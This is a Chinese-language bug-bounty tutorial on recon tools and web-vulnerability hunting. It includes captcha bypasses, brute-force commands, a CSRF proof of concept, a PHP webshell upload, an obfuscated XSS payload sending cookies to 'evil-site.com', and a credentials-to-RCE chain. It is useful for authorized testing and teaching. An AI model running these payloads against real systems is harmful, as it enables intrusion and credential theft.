一、企业资产信息收集
1. 企业关联资产挖掘
# 企查查会员使用(淘宝购买1天会员)
1. 登录企查查官网 → 搜索目标企业 → 进入"集团图谱"
2. 导出子公司清单:点击"导出" → 选择"企业名录"(含域名、APP、专利)
3. 关键数据:
- 控股>50%的子公司(重点目标)
- 同电话企业(关联子公司)
- 品牌/IP信息(搜索引擎搜品牌名:site:xxx.com "品牌名")
# 站长之家Whois反查
curl "http://whois.chinaz.com/reverse?host=目标域名&ddlSearchMode=1"
2. 子域名收集
# OneForAll综合扫描(需配置API)
git clone https://github.com/shmilylty/OneForAll.git
cd OneForAll
pip3 install -r requirements.txt
vim config/setting.py # 填写Shodan、Virustotal等API密钥
python3 oneforall.py --target target.com run
# Xray高级版子域名扫描(需授权)
./xray_darwin_amd64 gendc -t target.com -o dc_config.yaml
./xray_darwin_amd64 subdomain --dc-config dc_config.yaml
# Layer子域名爆破(特大字典)
git clone https://github.com/euphrat1ca/LayerDomainFinder
python3 Layer.py -d target.com -f dict/super_dict.txt -l 3 # 三级爆破
3. 端口扫描 & C段探测
# Goby快速扫描(可视化)
1. 下载安装:https://gobies.org/
2. 导入目标IP/域名 → 选择"端口扫描"模板 → 导出报告
# BBScan敏感信息探测
git clone https://github.com/yhy0/BBScan
python3 BBScan.py -t target.com -p 80,443,8000-9000 --rule rules/web_fuzz.txt
4. JS信息收集
# JSFinder爬取URL
git clone https://github.com/Threezh1/JSFinder
python3 JSFinder.py -u https://target.com -d -ou urls.txt
# JSINFO-SCAN敏感信息提取
git clone https://github.com/p1g3/JSINFO-SCAN
python3 jsinfo.py -f urls.txt -o results.txt
**二、漏洞挖掘实战技巧
1. 登录框漏洞挖掘
验证码绕过:
POST /login HTTP/1.1
...
captcha= # 置空绕过
captcha=1234&captcha=5678 # 重复参数绕过
X-Forwarded-For: 8.8.8.8 # 伪造IP绕过(Burp安装FakeIP插件)
弱口令爆破:
# 社工字典生成
git clone https://github.com/HongLuDianXue/BaiLu-SED-Tool
python3 BaiLu-SED.py -d target.com -o target_dict.txt
# Hydra爆破SSH
hydra -L users.txt -P pass.txt ssh://target.com -t 4
2. 信息泄露漏洞
GitHub监控:
# GSIL实时监控(配置config.yaml)
git clone https://github.com/FeeiCN/GSIL
python3 gsil.py --config config.yaml --keyword "target.com password"
目录扫描:
# Dirsearch高级扫描
git clone https://github.com/maurosoria/dirsearch
python3 dirsearch.py -u https://target.com -e php,asp,aspx,jsp -w db/dicc.txt \
--exclude-status 403,404 -t 50
3. 越权漏洞
Burp自动化检测:
- 安装插件:
- 操作流程:
- 抓取普通用户请求 → 右键"Send to Autorize"
- 使用高权限账户Cookie重放请求
4. CSRF漏洞
POC生成:
<!-- 修改密码CSRF POC -->
<html>
<body>
<form action="https://target.com/change-password" method="POST">
<input type="hidden" name="new_pass" value="hacked123">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
5. 文件上传漏洞
绕过技巧:
POST /upload HTTP/1.1
...
Content-Disposition: form-data; name="file"; filename="shell.pHp" # 大小写
Content-Type: image/jpg # 伪造类型
------WebKitFormBoundary
<?php system($_GET['cmd']); ?> # 内容
6. XSS漏洞
高级Payload:
<svg/onload=eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHBzOi8vZXZpbC1zaXRlLmNvbS8iK2RvY3VtZW50LmNvb2tpZQ=='))>
# Base64解码:document.location="https://evil-site.com/"+document.cookie
**三、组合漏洞利用实战
案例:从信息泄露到RCE
步骤详解:
- 通过GSIL发现GitHub泄露的
config.php
:<?php $db_host = '10.0.0.12'; $db_user = 'admin'; $db_pass = 'P@ssw0rd123!';
- 连接内网数据库:
mysql -h 10.0.0.12 -u admin -pP@ssw0rd123!
- 导出管理员凭证:
SELECT username,password FROM admins WHERE id=1; # 返回 admin / 7c4a8d09ca3762af61e59520943dc26494f8941b
- SHA1解密 → 登录后台 → 上传图片马:
POST /admin/upload HTTP/1.1 ... Content-Disposition: form-data; name="file"; filename="logo.png.php"
- 执行命令:
https://target.com/uploads/logo.png.php?cmd=id
四、工具与资源清单
类型 | 工具 | 命令示例 |
---|---|---|
子域名收集 | OneForAll | python oneforall.py --target xxx.com run |
端口扫描 | Goby | 图形化操作 |
漏洞检测 | Xray | ./xray webscan --url https://target.com |
暴力破解 | Hydra | hydra -l admin -P rockyou.txt ftp://target.com |
社工字典 | BaiLu-SED | python BaiLu-SED.py -d target.com |
学习资源:
- 漏洞库:WooYun漏洞库
- Burp插件包:BurpBounty
五、避坑与法律边界
-
法律红线
- 禁止未授权测试:SRC平台外资产需邮件申请
- 禁用DDoS/破坏性工具:如LOIC、Slowloris
-
实战注意事项
# 使用代理池避免IP封禁 proxychains python3 dirsearch.py -u https://target.com # 限制扫描速率 python3 BBScan.py -t target.com --delay 2 # 2秒/请求
-
漏洞提交技巧
- 高危漏洞:提供完整利用链视频
- 中低危漏洞:组合提交(如CSRF+越权)
- 附修复建议:如"添加Token校验"
核心原则:每天投入2小时实践工具链(OneForAll+BBScan+Xray),优先挖掘登录框/信息泄露/越权三大漏洞类型,30天内可稳定提交有效漏洞。